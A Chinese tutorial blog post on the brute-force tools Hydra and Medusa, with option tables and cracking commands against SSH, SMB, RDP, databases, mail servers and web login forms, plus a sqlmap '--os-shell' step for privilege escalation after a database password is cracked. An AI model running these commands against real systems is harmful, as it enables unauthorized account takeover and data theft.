暴力破解工具hydra与Medusa
---恢复内容开始---
暴力破解工具hydra与Medusa
内容
(一)hadry
(二)Medusa
(一)hydra
选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | -l LOGIN 指定破解的用户名称,对特定用户破解。 -L FILE 从文件中加载用户名进行破解。 -p PASS小写p指定密码破解,少用,一般是采用密码字典。 -P FILE 大写字母P,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -t TASKS 同时运行的连接的线程数,每一台主机默认为16。 -M FILE 指定服务器目标列表文件一行一条 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -v / -V 显示详细过程。 -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -U 服务模块使用细节 -h 更多的命令行选项(完整的帮助) server 目标服务器名称或者IP(使用这个或-M选项) service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等 OPT 一些服务模块支持额外的输入(-U用于模块的帮助) |
使用
图形化界面
1 | xhydra |
注意:下面例子都是在命令行下
破解MySQL密码
数据库一般会提供一个默认的帐户,SQL Server的sa用户,MySQL的root用户,Oracle的System用户等。
假如我们现在破解mysql数据库
1 | hadry -L user.txt -P pass.txt ip mysql |
成功后会打印类似如下的信息:[1433][mssql] host:ip login:sa password:sql123456
一旦得到数据库密码,一般会做两件事情,一是“拖库”,二是“提权”
如果破解数据库的密码为sql123456,可以利用sqlmap进一步来反弹一个与系统交互的Shell用来提权。命令为:
1 | sqlmap.py -d "mssql://sa:sql123456@ip:1433/master" --os-shell |
windows密码破解
1 | hydra -l 用户名 -p 密码 smb: //ip -vV<br>或者<br>hydra -l 用户名 -p 密码 smb ip -vV |
Linux密码破解
1 | hydra -l 用户名 -p 密码 ssh: //ip -vV<br>或者hydra -l 用户名 -p 密码 ssh ip -vV |
破解ftp
1 | hydra ip ftp -l 用户名 -P 密码字典 -t 线程数(默认16) -vV |
注意:如果你发现目标ftp并不是在21端口,而是在其他端口上,可以使用-s参数指定正确的端口,其他服务同样如此。
破解teamspeak
1 | hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak |
破解rdp
1 | hydra ip rdp -l administrator -P pass.txt -V |
破解telnet
1 | hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V |
破解https
1 | hydra -m /index.php -l muts -P pass.txt ip https |
破解http-proxy
1 | hydra - l admin -P pass.txt http-proxy: //ip |
破解imap
1 | hydra -L user.txt -p secret 192.168.0.1 imap PLAIN<br>或者<br>hydra -C defaults.txt -6 imap: //[fe80::2c:31ff:fe12:ac11]:143/PLAIN |
破解cisco
1 2 3 | hydra -P pass.txt ip cisco hydra -m cloud -P pass.txt ip cisco-enable |
破解 pop3
1 | hydra -l root -P pass.txt my.pop3.mail pop3 |
get方式提交 破解web登录
1 2 | hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /web/ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /web/index.asp |
post方式提交 破解web登录
1 | hydra -l 用户名 -P 密码字典 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" -V |
在kali上测试dvwa登陆页面
指定登陆成功的返回字符,登陆成功
1 | hydra -l admin -p password 192.168.14.159 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -V -t 1 |
指定登陆失败的返回字符,登陆失败,因为Login Failed并不是返回在登陆请求的会话中,这时候我们可以换一种思路,指定登陆正确的返回字符
1 | hydra -l admin -p password 192.168.14.159 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed" -V -t 1 |
注意:hydra的表单爆破太过于鸡肋,使用BP爆破更好。
(二)medusa
hydra的缺点
-稳定性差,程序时常崩溃
-速度控制不好,容易触发服务器屏蔽或锁死机制
-每主机新建进程,没服务新建实例
-大量目标破解时性能差
medusa的特点
-稳定性好
-速度控制得当
-基于线程
-支持模块少于hydra(不支持rdp 远程桌面)
-WEB-Form支持存在缺陷
参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | -h [TEXT] 目标IP -H [FILE] 目标主机文件 -u [TEXT] 用户名 -U [FILE] 用户名文件 -p [TEXT] 密码 -P [FILE] 密码文件 -C [FILE] 组合条目文件 -O [FILE] 文件日志信息 -e [n/s/ns] N意为空密码,S意为密码与用户名相同 -M [TEXT] 模块执行名称 -m [TEXT] 传递参数到模块 -d 显示所有的模块名称 -n [NUM] 使用非默认端口 -s 启用SSL -r [NUM] 重试间隔时间,默认为3秒 -t [NUM] 设定线程数量 -L 并行化,每个用户使用一个线程 -f 在任何主机上找到第一个账号/密码后,停止破解 -q 显示模块的使用信息 -v [NUM] 详细级别(0-6) -w [NUM] 错误调试级别(0-10) -V 显示版本 -Z [TEXT] 继续扫描上一次 |
使用
使用语法
1 | Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT] |
破解smbnt
1 | medusa -M smbnt -h 192.168.14.155 -u Administrator -P mutou01.txt -e ns <br>或者<br>medusa -M smbnt -C combo.txt<br>combo文件的格式如下:<br>192.168.0.20:testuser:pass<br>192.168.0.40:user1:foopass |
注意:使用“-e ns”参数,尝试空密码及账号为密码
破解MSSQL
1 | medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql |
破解SSH
1 | medusa -M ssh -H host.txt -U user.txt -p password |
输出为日志文件,使用-O参数
1 | medusa -h ip -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?